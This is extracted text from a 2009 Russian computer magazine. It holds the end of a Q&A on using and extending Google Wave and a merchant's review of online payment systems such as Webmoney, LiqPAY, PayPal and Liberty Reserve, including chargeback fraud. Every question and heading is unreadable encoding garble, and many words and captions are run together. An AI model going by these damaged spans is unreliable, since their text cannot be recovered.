All (всеволны, в которых ты принимаешь участие), Request (волныот неизвестных контактов), Spam, Settings (да, даженастройки сервиса, оформлены в виде волны!), есть разделыSearches и Folders. В первый из них можно сохранитьсвои поисковые запросы, чтобы не вводить его каждыйраз вручную. К примеру, чтобы полностью исключитьиз вывода публичные волны, на которые ты успел подписаться,можно ввести: «in:inbox to:@googlewave.com».Первый модификатор включает поиск по инбоксу, второйуказывает, что отображать нужно волны конкретным адресатом(твоим адресом).Помимо сохраненных запросов есть также другой механизм— каталоги (Folders). По сути, полный аналог папокиз почтового клиента, по которым раскладываютсяписьма, — создавай их, сколько нужно. Стандартнаяпапка inbox — любопытная штука. В нее попадают нетолько волны, которые адресованы лично тебе, но и те, вкоторых ты принимал участие. Можно попробовать убратьих из инбокса, нажав кнопку Archieve (переместить вархив), но как только произойдет обновление волны, онатут же появится обратно. Как быть? Проблема в том, чтона эти волны у тебя оформлена подписка, и это сделаноавтоматически (можно сделать и вручную, выбрав в панелиуправления волнами кнопку Follow). Чтобы избавиться отволны (в том числе, собственноручно созданной), нужно отнее отписаться — для этого, соответственно, есть кнопкаunfollow.Q: ÊÀÊÈÅ ÅÙÅ ÌÎÄÈÔÈÊÀÒÎÐÛ ÏÎÈÑÊÀ ÅÑÒÜ,ÏÎÌÈÌÎ WITH:PUBLIC?A: Как я уже говорил, любые поисковые запросы можносохранить. Рекомендую, помимо «with:public tag:ru» и«in:inbox to:@googlewave.com», записать также:• «onlyto:me is:unread». В ответ на этот запрос Google Waveпокажет волны, которые должны волновать тебя в первуюочередь: они адресованы тебе (и никому другому) и приэтом не прочитаны. Считай, что это письмо, отправленноена твой адрес.• «creator:me -is:note». Как посмотреть все волны, которыеты создал и добавил в них участников? С помощью модификатора«creator:me» мы оставляем волны, созданныенами. «is:note» означает, что волна является заметкой, таккак участники не добавлены — убираем их, добавив п ередмодификатором минус. В результате получаем своеобразныйаналог из почтового клиента — папку «Исходящие».Еще небольшой хинт. В момент сохранения поисковогозапроса можно указать для каждого из них свой цвет, выбравв выпадающем меню пункт «Set color». Полный аналогLabel'ов из Gmail'а.СПИСОК КОНТАКТОВ: ЧАСТЬ ПОДГРУЖЕНААВТОМАТИЧЕСКИ ИЗ GMAILQ: ÒÛ ÃÎÂÎÐÈË, ×ÒÎ Â ÒÅÊÑÒ ÌÎÆÍÎ ÂÑÒÀÂÈÒÜÊÀÊÈÅ-ÒÎ ÐÀÑØÈÐÅÍÈß. ÌÎÆÍÎ ÏÎÄÐÎÁÍÅÅ?A: Google Wave поддерживает два основных вида расширений.Первый из них — гаджеты (Gadgets). Это интерактивныеэлементы, представляющие новые возможностивзаимодействия, которые пользователи могут вставитьпрямо в волну. Самое простое, но одновременно и частоиспользуемое расширение для Wave — гаджет «Yes/No/Maybe». Его смысл достаточно прост: участникам волнызадается вопрос, на который они могут ответить «Да/Нет/Может быть»: дополнение принимает ответы и аккумулируетрезультаты опроса. Еще один стандартный гаджет —карта, которая использует API Google Maps и позволяетпрямо в волне указать географическое место или маршрут.Оба дополнения доступны по умолчанию из панели инструментовво время редактирования волны. Но недаромGoogle проводит бета-тестирование, а прежде всего, чтобыпривлечь различных разработчиков. В результате ужесейчас существует немало расширений от сторонних кодеров.Такой аддон можно добавить в волну, указав его URL.Впрочем, это не самый удобный вариант: если в навигационнойпанели выбрать раздел Settings, то там ты найдешьволну Extention Settings, через которую приложения можноустановить — в таком случае они появятся в тулбаре. Изпредставленных аддонов особенно рекомендую Video ChatExperience и Conference, позволяющие прямо в волнеорганизовать видео- или аудио-конференцию.XÀÊÅÐ 12 /132/ 09


УСТАНОВКА РАСШИРЕНИЙQ: À ×ÒÎ ÍÀÑ×ÅÒ ÂÒÎÐÎÃÎ ÒÈÏÀÀÄÄÎÍÎÂ?A: Другой вид расширений — роботы (Robots) —больше походят на IRC-ботов. Что они делают?Да все то же самое, что мог быть делать человек,но выполняют это автоматически. Роботаможно использовать для:• изменений информации в волне;• взаимодействий с участниками в волне;• синхронизации и передачи информации изволны вовне и в другие волны;• доступа и изменения состояния стороннегопродукта (например, базы данных).XMPP Lite Bot — один из самых известныхботов, который обещает выручить тебя, еслиты всерьез возьмешься использовать GoogleWave, а твой Inbox будет постоянно обновлятьсяновыми волнами. Его задача — напомнитьтебе об произошедших изменениях, используядля оповещения XMPP-протокол, то есть сообщениячерез Jabber. Чтобы использовать егорасширения, добавь бота сначала в контактыGoogle Wave (его ID — wave-xmpp@appspot.com), а затем в записную книжку Google Talk.Теперь, добавив бота к тем волнам, за которымиты желаешь следить, будешь получатьуведомления об обновлениях в GTalk.Q: ÕÎ×Ó ÍÀÏÈÑÀÒÜ ÐÀÑØÈÐÅÍÈÅÄËß GOOGLE WAVES. ×ÒÎ ÄËß ÝÒÎÃÎÍÓÆÍÎ?A: Увы, в рамках одной статьи уместить дажемини-урок по созданию своего гаджета илиробота не получится. Для разработки роботовGoogle Wave необходима соответствующаяклиентская библиотека, которая существуетсейчас для Java и Python. Причем роботаобязательно нужно захостить на GoogleApp Engine, масштабируемой среде вебприложений.Далее пользователь добавляетGOOGLE WAVE — ЗАМЕНА E-MAIL?в волну робота, за которым следует @appspot.com — так же, как и другого участника, то естьс помощью идентификатора приложения AppEngine. Например, если идентификатор приложенияApp Engine для робота — xakepbot, тоадрес участника волны для него — xakepbot@appspot.com. И робот работает :).Что касается гаджета, изнутри он представляетсобой XML-файл, в котором приводится описаниеи логика работы. Его не надо хостить на AppEngine, но он должен быть размещен на хостинге.Ссылки для более подробного изучениядоступны в боковой врезке.Q: ÐÀÇ ÓÆ ÌÛ ÇÀÃÎÂÎÐÈËÈ Î ÒÅÕÍÈ-×ÅÑÊÎÉ ÑÒÎÐÎÍÅ ÂÎÏÐÎÑÀ, ÑÊÀÆÈ,×ÒÎ Ñ ÏÎÄÄÅÐÆÊÎÉ ÁÐÀÓÇÅÐÎÂ?ÏÎÏÐÎÁÎÂÀË ÎÒÊÐÛÒÜ ÑÅÐÂÈÑ OPERA — ÐÀÁÎÒÀÅÒ ×ÅÐÅÇ ÏÅÍÜÊÎËÎÄÓ.A: Это вполне объяснимо. На текущий моментподдерживаются только Google Chrome, Safari4, Firefox 3.5; другие варианты исключены. Адля работы некоторых функций, в том числедля аттача к волнам файлов необходимаустановка Google Gears (gears.google.com).В Chrome «шестеренки» уже включены, а вFirefox помимо них рекомендую установитьлюбопытное расширение Google Wave Notifier(thatsmith.com/<strong>2009</strong>/10/google-wave-addon-for-firefox).Аддон проверяет аккаунт наналичие непрочитанных сообщений в волнахс заданным интервалом, позволяя быстро кним перейти.Q: ÌÎÆÍÎ ËÈ ÈÑÏÎËÜÇÎÂÀÒÜ GOOGLEWAVE ÍÅ Â ÁÐÀÓÇÅÐÅ? ÄËß ÒÂÈÒÒÅÐÀÆÅ ÅÑÒÜ ÊËÈÅÍÒÛ ÏÎÄ ÐÀÇÍÛÅ ÏËÀÒ-ÔÎÐÌÛ?A: Тут надо понимать, что твиттер — сервиспостарше. Пока не разработано полноценноеAPI для доступа к Google Wave, ждатькакого-либо толкового клиента рано. Сдругой стороны, если тебе не нравится обращатьсяк волнам через вкладку браузера,то уже есть отдельное приложение, написанноена Adobe AIR (а потому работающеепод всеми платформами). Waver отображаетколонку с волнами, откуда ты в любое времяможешь читать, писать и просто наблюдатьза тем, что происходит в инбоксе твоегоGoogle Wave аккаунта. К тому же, не стоитзабыть, что возможность сделать standaloneприложениеесть прямо в браузере GoogleChrome (меню «Управление текущей страницей «Создать ярлыки приложений»). Наданном этапе развития сервиса, это, пожалуй,лучший вариант.Q: ÒÀÊ, À ÊÀÊÀß ÑÒÀÄÈß ÐÀÇÂÈÒÈß?×ÒÎ ÏÎËÓ×ÈËÎÑÜ Ó ÃÓÃËÀ: ÐÅÀËÜÍÎÊÐÓÒÎÉ ÑÅÐÂÈÑ ÈËÈ ÓÍÛËÛÉ ÑËÈÂ?A: Задача, на которую замахнулся Гугл,звучит очень просто — заменить электроннуюпочту новой системой под названиемWave. Вопрос, от которого пляшет компания:«Какой была бы электронная почта, еслибы ее изобретали сегодня?» Бренд Гуглапомог раскрутить и даже порой помешатьлюдей на этой теме. Но неужели Google ужеудалось изобрести замену традиционнойпочте? Явно нет! Ну, скажи: тянет ли натакую роль сервис, который пока доступенлишь избранным, а работает всего внескольких браузерах? Еще хуже — чего ясовсем не ожидал от Google — сервис иногдатормозит! На мощном железе, широкомканале и родном браузере Google Chrome.Конечно, это можно простить: в конце концов,идет закрытое бета-тестирование. Но,извини, и на альтернативу почте замахиватьсяпока рано. Пускай, Google и собираетсявыпустить весь код и документацию воткрытый доступ, и даже частично это сделал.В планах — превратить веб-сервис внабор стандартов, чтобы каждый мог в случаенеобходимости установить Wave-серверу себя и связать их с другими. Но вот, когдаудастся этот стандарт распространить доразмахов нынешней электронной почты —тогда и поговорим. А сейчас это многообещающийконцепт, который неплохо можноприспособить для совместной работы иобщения внутри своей продвинутой тусовки.Но и то, скорее, ради того, чтобы простобыть в теме. zXÀÊÅÐ 12 /132/ 09 033


PC_ZONEНАТАЛИЯ МАЛЫШЕВА NALYSHKA@GMAIL.COMÍÀËÀÆÈÂÀÅÌÑÈÑÒÅÌÓ ÏÐÈÅÌÀÏËÀÒÅÆÅÉ 8 ÑÏÎÑÎÁΠÏÐÈÍÈÌÀÒÜÎÏËÀÒÓ Ñ ÊËÈÅÍÒΠ ÈÍÅÒÅÂÎÏÐÎÑ ÏÐÈÅÌÀ ÎÏËÀÒÛ ÇÀ ÓÑËÓÃÈ ÈËÈ ÒÎÂÀÐ ÂÑÒÀÅÒ ÏÅÐÅÄ ÊÀÆÄÛÌ, ÊÒÎ ÑÎÁÈÐÀÅÒÑßÑÎÇÄÀÒÜ ÑÂÎÉ ÁÈÇÍÅÑ Â ÈÍÅÒÅ. ÏÐÈ ÊÀÆÓÙÅÉÑß ÑËÎÆÍÎÑÒÈ ÍÀËÀÄÈÒÜ ÑÈÑÒÅÌÓ ÄËßÏÐÈÅÌÀ ÏËÀÒÅÆÅÉ ÍÅÑËÎÆÍÎ, ÏÐÈ×ÅÌ ÌÎÆÍÎ ÍÅ ÎÃÐÀÍÈ×ÈÂÀÒÜ ÑÅÁß ÎÄÍÈÌÈ ËÈØÜÝËÅÊÒÐÎÍÍÛÌÈ ÄÅÍÜÃÀÌÈ, À ÏÐÈÍÈÌÀÒÜ Ê ÎÏËÀÒÅ È ÎÁÛ×ÍÛÅ ÊÐÅÄÈÒÍÛÅ ÊÀÐÒÎ×ÊÈ.ÂÀÆÍÛÌ ÝÒÀÏÎÌ ßÂËßÅÒÑß ÂÛÁÎÐ ÏÀÐÒÍÅÐΠÄËß ÑÎÒÐÓÄÍÈ×ÅÑÒÂÀ, ÎÏÛÒÎÌ ÐÀÁÎÒÛ ÑÊÎÒÎÐÛÌ ß È ÑÏÅØÓ ÏÎÄÅËÈÒÜÑß.Èтак, я — менеджер финансовогозвена компании Telecomax ltd.Компания занимается покупкойи продажей голосового трафика,написанием программного обеспечениядля работы с голосом, интеграциейи объединением различных голосовых сетей ипровайдеров, как традиционных, так и Skype/Google Talk. Особым спросом пользуются симкартыальтернативного роуминга GSM-travel,Java-приложение для мобильного телефона,магазин телефонных номеров со всехконтинентов, виртуальный офис. Спецификатут в том, что, приобретая услугу, клиент затемвносит абонентскую плату, периодически пополняетбаланс и активирует дополнительныесервисы. Клиенты очень разные — от мелкихинтернет-магазинов до заводов и крупныхкорпораций. Перед нашим отделом стояла036задача разработать такую систему приемаплатежей, которая была бы удобна любомупользователю. Ниже хочу поделиться с тобойтем, как мы поднимали систему, с кем работалии с какими проблемами сталкивались. О каждойплатежной системе по порядку!WEBMONEYОдной из наиболее популярных и простых виспользовании платежных систем являетсяWebmoney. Поэтому нет ничего удивительногов том, что подключали мы ее первой.Система рассчитана и на продвинутых пользователей,и на людей, далеких от информационныхтехнологий, а именно это нам ибыло нужно. Для клиентов доступна как десктопнаяверсия приложения (небезызвестныйWebmoney Keeper), так и онлайн-клиент.Причем для оплаты услуг клиенту необязательнодаже наличие постоянного кошелька(они распределяются по валютам: рубли —WMR, долларовый WMZ и т.д.), без проблемможно совершить покупку, воспользовавшиськарточками оплаты Webmoney, широкодоступными в разных магазинах и киосках, атакже чеками Paymer.Процесс подключения магазина к платежнойсистеме не занимает много времени.Буквально за пятнадцать минут мы завелиWM-кошелек, еще некоторое время ушлона установку Webmoney Keeper и получениеаттестата продавца. В целях безопасностикаждый пользователь Webmoney должен проходитьаттестацию. Чем надежнее аттестат онхочет получить, тем больше проверок нужнопройти, но и тем больше операций он можетвыполнять с системой. Для того чтобы иметьвозможность принимать платежи, необхо-XÀÊÅÐ 12 /132/ 09


ФОРМА ДЛЯ ПОДКЛЮЧЕНИЯRBK MONEYОДНА ИЗ СХЕМ ОРГАНИЗАЦИИОПЛАТЫ ЧЕРЕЗ WEBMONEYдимо получить аттестат продавца. А дальше— дело техники. Интегрируем в платежныескрипты возможность оплаты через вебмани,реализовав ее через соответствующие APIвызовыплатежной системы, и без проблемпринимаем оплату прямиком в свой кошелек.Вот некоторые преимущества системы:• моментальная оплата;• моментальная конвертация из одной валютыв другую;• комиссия на перевод внутри системысоставляет всего лишь 0.8% от суммы транзакции;• вывод в реальные деньги: на кредитнуюкарту, на банковский счет (сервис WireExchanger).Что ж, теперь, основной для рунета сервисдля приема платежей подключен. Охватив,тем самым, несколько миллионов пользователей,можно задуматься и о приеме другойэлектронной валюты.ßÍÄÅÊÑ.ÄÅÍÜÃÈ, MONEYMAIL, EASYPAYС этими платежными системами получилосьеще проще. Вместо того, чтобы осваиватьинтерфейсы для подключения каждой платежнойсистемы, заключать договора, заниматьсяоформлением бухгалтерской документации, мывоспользовались одним единственным сервисом— онлайн-обменником электронных валютROBOXchange. Ценою небольшого процента странзакций, взимаемого за услуги посредника,сервис избавил нас от необходимости заводитьаккаунты на Яндекс.Деньги, MoneyMail,EasyPay. Система реализована очень удобно:клиент радуется моментальной оплате услуг,а мы — деньгам, которые, пройдя черезROBOXchange, попадают непосредственно нанаш WM-кошелек. Минус, пожалуй, один —сравнительно высокая комиссия «Робокса»:это 8% удерживаемой с суммы транзакции.ПРИЕМ ПЛАТЕЖА РАЗНЫМИСПОСОБАМИ ЧЕРЕЗ ROBOXCHANGEВпрочем, процент уже не кажется такимсерьезным, когда осознаешь, сколько времении сил ушло бы на подключение каждой изсистем в отдельности. Скажу больше! Чтобыработать с платежными системами напрямую,нужно, к тому же, удовлетворять требованиям,которые они предъявляют к продавцу — начинаяот чисто технических, выражающихся вконкретных характеристиках хостинга, и заканчиваяфинансовыми, серьезно ограничивающимивозможность работы небольшим предприятиям.Например, для приема Яндекс.Денег(при работе с системой напрямую) ожидаемыеобъемы продаж магазина должны составлятьне менее 10 000 рублей в месяц. Словом, мысвой выбор сделали в пользу ROBOXchangeи решили потратить освободившееся времяна подключение относительно новой, но ужедостаточно зрелой платежной системы.RBK MONEYRBK Money — электронный кошелек, позволяющийпринимать платежи почти 30 способами.Сформировав счет, клиент можетвнести платеж с помощью систем денежныхпереводов «Юнистрим» или CONTACT, вразличных сетях терминалов моментальнойоплаты, банковским переводом, кредитнойкартой и много как еще. Подключив однуэту систему, мы сразу охватили клиентов, укоторых нет электронных кошельков и кредитныхкарт. Правда, отсюда последовали недостаток: некоторые виды платежейзачисляются с задержкой до 8 банковскихдней. В частности, мы настоятельно не рекомендуемвносить оплату через «Сбербанк».Во-первых, придется заполнять много бумажек,во-вторых, деньги от покупателя к продавцуидут порядка двух недель, что очень иочень долго.Так или иначе, подключить систему RBKMoney явно не будет лишним — ведь какиначе предоставить клиенту самые разныеварианты оплаты, в том числе и переводомна банковский счет? Система работает с низкойкомиссией за перевод (от 1%) и радуетадекватной службой поддержки. А дочернеепредприятие известного холдинга РБКвызывает уважение и доверие у клиента.CHRONOPAYСледующим вопросом на пути организацииэлектронного бизнеса стал прием оплатыс кредитных карт. Этот аспект электронногобизнеса оказался довольно сложным ипоучительным, поэтому на нем хочется остановитьсяподробнее.На рынке существуют компании, которыеактивно предлагают себя в качестве посредниковв открытии так называемого Merchantaccount с возможностью принимать платежипластиковыми карточками. На одном изсеминаров интернет-магазинов мы познакомилисьс представителями небезызвестнойкомпании Chronopay. Не знаю, как насчетродительской компании из Нидерландовс таким названием, а вот опыт общения с«российским дитем» оказался, мягко говоря,удручающим.Процесс заключения договора был мучительными долгим. Каждый день появлялосьновое микро-требование со стороны«Хронопея»: то необходимо было поставитьбаннеры Visa и Mastercard на сайт, то добавить«Return Policy» и «Соглашение обиспользовании». Это не было сверхзадачей,но можно было эти требования изложитьсразу вместе с остальными формами, а невыдавливать, как глубоко секретную информациюпод пытками. Эпопея закончилисьтолько через три месяца: был подписандоговор, и мы получили документацию поподключению.Первым, кто засомневался в адекватностинаших новых партнеров, оказался наш программист:«Такое впечатление, что интерфейсдля работы писал школьник». Тем не менее,система оказалось рабочей: мы стали приниматьплатежи по кредитным картам, аклиенты радовались новому и удобному длямногих способу оплатить наши услуги. Современем оплат стало значительно больше, издесь стали появляться проблемы. Согласноконтракту с сервисом, выплаты «Хронопея»должны были осуществляться каждые двеXÀÊÅÐ 12 /132/ 09 037


PC_ZONELIQPAY ПОЗВОЛЯЕТ НЕ ТОЛЬКО ПРИНИМАТЬ ПЛАТЕЖИ ПОКАРТЕHTTP://WWWlinks• Webmoney:www.webmoney.ru.• Paymer:www.paymer.com.• Яндекс.Деньги:money.yandex.ru.• MoneyMail:www.moneymail.ru.• EasyPay:www.easypay.by.• ROBOXchange:roboxchange.com.• RBK Money:rbkmoney.ru.• Chronopay:chronopay.com• LiqPAY:liqpay.com• Ukash:www.ukash.com.• PayPal:www.PayPal.com.• Liberty reserve:libertyreserve.com.• Xrates:xrates.ru.• Сasher:casher.ru.038недели. Но когда подошло время, оказалось, что тут какраз не все так хорошо. Договорные сроки постояннонарушались, суммы всячески занижались, а общениес менеджерами сервиса превращалось в невразумительныйи нервозный флейм. Но то была еще прелюдия.Через пару месяцев мы получили первое грозное сообщениеchargeback.В случае если покупатель обнаруживает в своей выпискесписание средств, которое было совершено не по его инициативе(мошенническая операция), то он вправе податьжалобу в банк. Банк, в свою очередь, проводит расследованиеи принимает решение: возвращать клиенту деньгиили нет. Такой возврат денег называется chargeback. Чтоозначает это для продавца? В случае чарджбека продавецтеряет проданный товар или услугу, средства по платежу,комиссию, которая была уплачена за обслуживание платежа,комиссию за конвертацию валюты (если платеж совершалсяв валюте, отличной от валюты торгового счета), атакже штраф, уплачиваемый продавцом банку в случаекаждого чарджбека (до $50). Комментарии излишни.Само собой мы сразу начали выяснять, в чем причинаэтого чарджбека. Оказалось, что клиент якобы не получилуслугу за свою оплату. Но, черт подери, мы-то продаемтелекоммуникационные услуги. Биллинговая системафиксирует все действия клиента: что купил, когда исколько времени пользовался. Все логи и скриншоты мыотправляем в Chronopay. Вежливый менеджер подбадриваетнас, что клиентом оказался мошенник и, благодарянам, они смогут вывести его на чистую воду, но… деньгиклиента с нас списаны и вдобавок нам впарен штраф $30.Не самый удачный расклад.Проходит время, и чарджбеки начинают появляться всечаще. Разбирательство по каждому из них чисто формальное,чаще всего не в нашу пользу. Когда штрафыначинают перекрывать прибыль, мы понимаем, что такназываемые рисковые платежи легко отследить самим.Проверив через whois IP-адрес первого мошенника,выяснилось, что платил он с американской кредитнойкарты из солнечной страны Нигерии — даже прокси неиспользовал. «Хронопей» благополучно не заметил этогокрохотного, но существенного факта и пропустил дивныйплатеж, и это нормальная практика! Но, к сожалению,все это мы выяснили много позднее, когда чарджбекипосыпались один за другим. И в основном платили изРумынии, Нигерии, Кот-д'Ивуара и подобных стран с американскихи немецких карт. «Хронопей» не обращает наэто внимания. Вероятно, не в силу низкой квалификации,а в силу неуемного желания заработать на доверчивомклиенте. В данном случае — интернет-магазине.Тут есть одна хитрость. Если платеж вернуть клиентудобровольно, то штрафа и пятна на репутации компаниив виде chargeback можно избежать. Такая операцияназывается Refund и подразумевает возврат средств сосчета продавца на счет покупателя, который инициировансамим продавцом. В этом случае банк или процессингне участвует в разрешении споров между продавцом ипокупателем, они договариваются между собой сами.Продавец сам принимает решение о рефанде: в этом случаеон не платит штрафов в банк, но теряет комиссию заперевод и конвертацию. Чтобы как-то разрешить ситуациюс чарджбеками, мы создали свой отдел процессинга.Подход был прост: все рискованные платежи мы возвращаемсами и не обслуживаем по этому платежу клиента.Тут-то и разволновался «Хронопей». Менеджер сразуперестал быть приторно вежливым, а стал угрюмым ихолодным. Когда в течение месяца не стало ни одногочардж бека, мы получили письмо о том, что «Хронопей»разрывает с нами контракт. Становится ясна нехитраястратегия подобных финансовых посредников. Привлекаяв оборот средства клиента и всячески уклоняясь отвыплат, менеджеры «Хронопея» свою сверхзадачу посчиталивыполненной. Им просто выгодно зарабатывать намошеннических операциях.К счастью, появилась альтернатива подобной системе.LIQPAYОтносительно недавно украинский «Приватбанк» внедрилсистему LiqPAY для авторизации кредитных карт, котораяимеет несколько принципиальных отличий от другихмерчантов. Процедура оплаты состоит из несколькихчастей. Сначала клиент вводит данные кредитной карты,затем номер своего мобильного телефона. На мобильныйприходит sms с единоразовым кодом. Этот код следуетввести в соответствующее поле. Если платеж успешный,ему присваивается статус «проверяется»: такаяпроверка занимает от 5 минут до 12 часов. Как толькоплатеж проверен и проведен, деньги поступают на счетинтернет-магазина, без какого-либо холда — задержки,при которой процессинговая компания зачисляет деньгина внутренний счет, но вам не отдает.Выводить деньги со счета LiqPAY на кредитную картуможно хоть каждый день. Комиссия на вывод небольшая:•счет LiqPAY карта «Приватбанка» — 0.55$+0.5%;•счет LiqPAY карта другого банка — 1.95$+1.0%.При этом подключить прием платежей через LiqPAY — разплюнуть. На освоение API и внедрение в нашу платежнуюсистему нужных вызовов ушло 3-4 часа. Причем суппортработает очень оперативно: можно писать в 2 ночи и бытьуверенным, что тебе ответят. Тут, правда, вопрос в другом:как на него ответят! Сказывается большая текучка кадров вслужбе поддержки, а поэтому квалифицированный ответ завремя нашего сотрудничества удавалось получить не всегда.Что касается ситуации с чарджбеками, то по сравнению сChronopay — это небо и земля. LiqPAY всегда на сторонепродавца. Чарджбеки можно оспаривать и вполне успешно.Также у них круглосуточный чат службы поддержки.Это удобно как для плательщика, так и для интернетмагазина:все проблемы можно быстро разрешить.XÀÊÅÐ 12 /132/ 09


ДЛЯ ОПЛАТЫ ЧЕРЕЗ UKASHПРИОБРЕТАЕТСЯ ВАУЧЕРВпрочем, при всех плюсах есть и неудобства.Так, иногда срок проверки некоторых платежейдоходит до 10 дней, что, конечно, неприбавляет довольства клиентов. Следующийнюанс заключается в том, что LiqPAY не принимаетплатеж, если IP-адрес плательщикаи страна выдачи кредитной карты не совпадают.Это повышает безопасность, но поройлишает реальных владельцев карт возможностивоспользоваться системой. Бывает, чтоSMS не приходит; тогда нужно обращаться вслужбу поддержки: те перезагружают SMSшлюзи все начинает работать. Проблемав том, что не все клиенты будут тщательнодобиваться оплаты, а просто уйдут к конкурентам.Уверена, что неудобства связаны спока еще несовершенством молодой системы,однако такие «детские болезни» ограничиваютжелание переводить на нее ресурсы свысоким оборотом. Еще одна важная деталь— LiqPAY подходит, в основном, для процессингакарт русскоговорящей аудитории.Западные клиенты ее побаиваются.Отработав схему продаж на русскоговорящемсегменте рынка, мы решили увереннымшагом направить луч маркетинга на запад. Ксожалению, наши англо-, немецко- и китайскоговорящиебратья и сестры не пользуютсявебмани, не знают, что такое «Яндекс» и гденаходится главное отделение «Сбербанка».UKASHПосовещавшись, решили начать с британскойплатежной системы Ukash. Этоваучеры, которые можно приобрести в различныхсетях терминалов по всей Европе.Подключение к системе заняло около 2недель. К нам был прикреплен менеджер,который вежливо и грамотно отвечал на всевопросы. Главный плюс для клиента — это,конечно же, удобство. За наличные тот приобретаетваучер, затем вводится цифровойкод в соответствующее поле — и все, покупкасовершена. Если ваучер номиналом больше,чем сумма покупки, автоматически выдаетсяваучер на сумму сдачи. При необходимостиваучеры можно объединять и делить.Если на аккаунте продавца скапливаетсясумма более $500 — средства можно вывестина банковский счет. Тут важно, что Ukashработает только с юридическими лицами.Среди минусов — довольно высокий процент,который удерживается с суммы платежа(8%). Нас как продавца Ukash обрадовалвозможностью бесплатно разместить свойбаннер у них на сайте. Но система оказаласьеще недостаточно распространена, поэтомутранзакций с нее значительно меньше, чеможидалось. Правда, надежда, что в скоромвремени она получит должное признание,есть :).PAYPALА вот у кого нет проблем с популярностью,так это у PayPal. Родственные отношения сведущим интернет-аукционом Ebay, процессингмногих видов кредитных карт и большойрекламный бюджет помогают этой системезавоевывать новых клиентов. Но перед темкак подключить к ней свой магазин, нужнообязательно иметь в виду следующее: Paypаl— слабо защищенная система. Фактически,подобрав пароль к аккаунту, мошенникможет распорядиться банковскими счетамиили кредитной картой, привязанной ксчету. Конечно, нужно учитывать триггеры,на которые срабатывает достаточно продвинутаяантифрод система: например, начасто меняющийся IP-адрес из разных стран.Мошенники имеют конкретные схемы и стараютсябыстро потратить деньги, покупая винтернет-магазинах всевозможные товары иуслуги. Интернет-магазины, получив деньги,отправляют товары или предоставляют услугина сумму транзакции. Но PayPal — системавозвратная. Как только владелец аккаунтаобнаруживает несанкционированную транзакциюи выставляет претензию, PayPalвозвращает деньги с аккаунта продавца и,в результате, интернет-магазин в этой цепистановится жертвой. У многих компанийчисло рисковых платежей доходит до 20%.Надо отметить, что и PayPal со своей стороныне горит желанием завоевать необъятныепросторы русскоговорящей аудитории.Россия, Украина вообще не входят в списокстран, с которыми PayPal работает. Вернееработает, но только в одну сторону. Платитьможно, а получать деньги нельзя.LIBERTY RESERVEСреди клиентов обязательно есть группалюдей, которые хотели бы остаться анонимными.Мы уважаем право клиента неафишировать персональную информацию,если он приобретает у нас туристическуюсим-карту или виртуальный телефонныйномер для своей оффшорной компаниина Кипре. Естественно, когда клиент вводитданные кредитной карты, оставатьсяинкогнито невозможно. Webmoney не имеетпредставительских отделений во многихстранах Азии, Африки, Латинской Америки,поэтому использовать ее в этих целях можетбыть затруднительно. Зато есть платежныесистемы, позволяющие принимать анонимныеплатежи. Мы остановили свой выборна Liberty reserve. Скажем прямо, сомненийв отношении этой системы много. Но то,насколько у компании все сделано профессионально,нас подкупило. Чего стоитмногоступенчатая система защиты — однаиз лучших из того, с чем нам приходилосьработать.Спорный момент заключается в том, какимобразом и с кого получить деньги, если вдругсистема перестанет существовать. Поэтомубольшие суммы денег на Liberty reserveмы стараемся не аккумулировать и поскореевыводить в доверенную валюту. То, каквывести деньги из системы — отдельныйвопрос. Если из Webmoney, RBK Money илиLiqPAY денежные средства можно вывести набанковский счет, то в Liberty такой возможностинет. Webmoney официально заявила,что платежные средства из других системменять с Webmoney нельзя под страхомблокирования счета. Пожалуй, здесь и начинаютсяпируэты финансового менеджмента.Как виртуальные средства превратить вреальные без особых рисков и потерь? Путьвоина — всевозможные обменные пункты винтернете. На данный момент мы используемсервис xrates, помогающий найти наиболеевыгодные предложения по обмену. В отличиеот многих других, xrates представляет отзывыпользователей и отображает рейтинг обменныхпунктов, что хоть немного позволяет ориентироватьсяв море предложений по обмену.Неплохим вариантом также является биржаcasher. Если внимательно относиться к процессуобмена и выбора партнера, читая отзывыи учитывая рейтинг, все заканчиваетсяуспешно. Встречаются, конечно, индивидымошенники,которые набивают взаимныерейтинги с себе подобными. Но, как правило,это легко можно отследить по датам регистрациии обменных операций.ÇÀÊËÞ×ÅÍÈÅКак ты заметил, вариантов приема платежейочень много. У всех есть сильныеи слабые стороны. Я намеренно в этомобзоре не касалась стандартного варианта— банковского перевода по счету.Конечно, этот вариант нами предусмотрен.Стандартный банковский платеж (или WireTransfer) — основное средство расчетовс юридическими лицами. Но комиссиинекоторых банков доходят до 50 долларовза транзакцию, и при небольших платежахсовершать покупку становится просто экономическинецелесообразно. В сравнениис такой комиссией 0.8% за транзакциюв системе Webmoney выглядит гораздогораздопривлекательней.Чтобы начать вести бизнес в инете, вовсенеобязательно подключать сразу все системыдля приема платежей. Вполне достаточноодной-двух, но максимально удобных длятой аудитории, которая будет пользоватьсяпредлагаемыми услугами или приобретатьтовар. А уже со временем, учитывая отзывы ипредложения, можно дополнительно вводитьвостребованные варианты для приема платежей.Ничего сверхъестественного здесь нет, апотому начать дело может каждый.zXÀÊÅÐ 12 /132/ 09 039


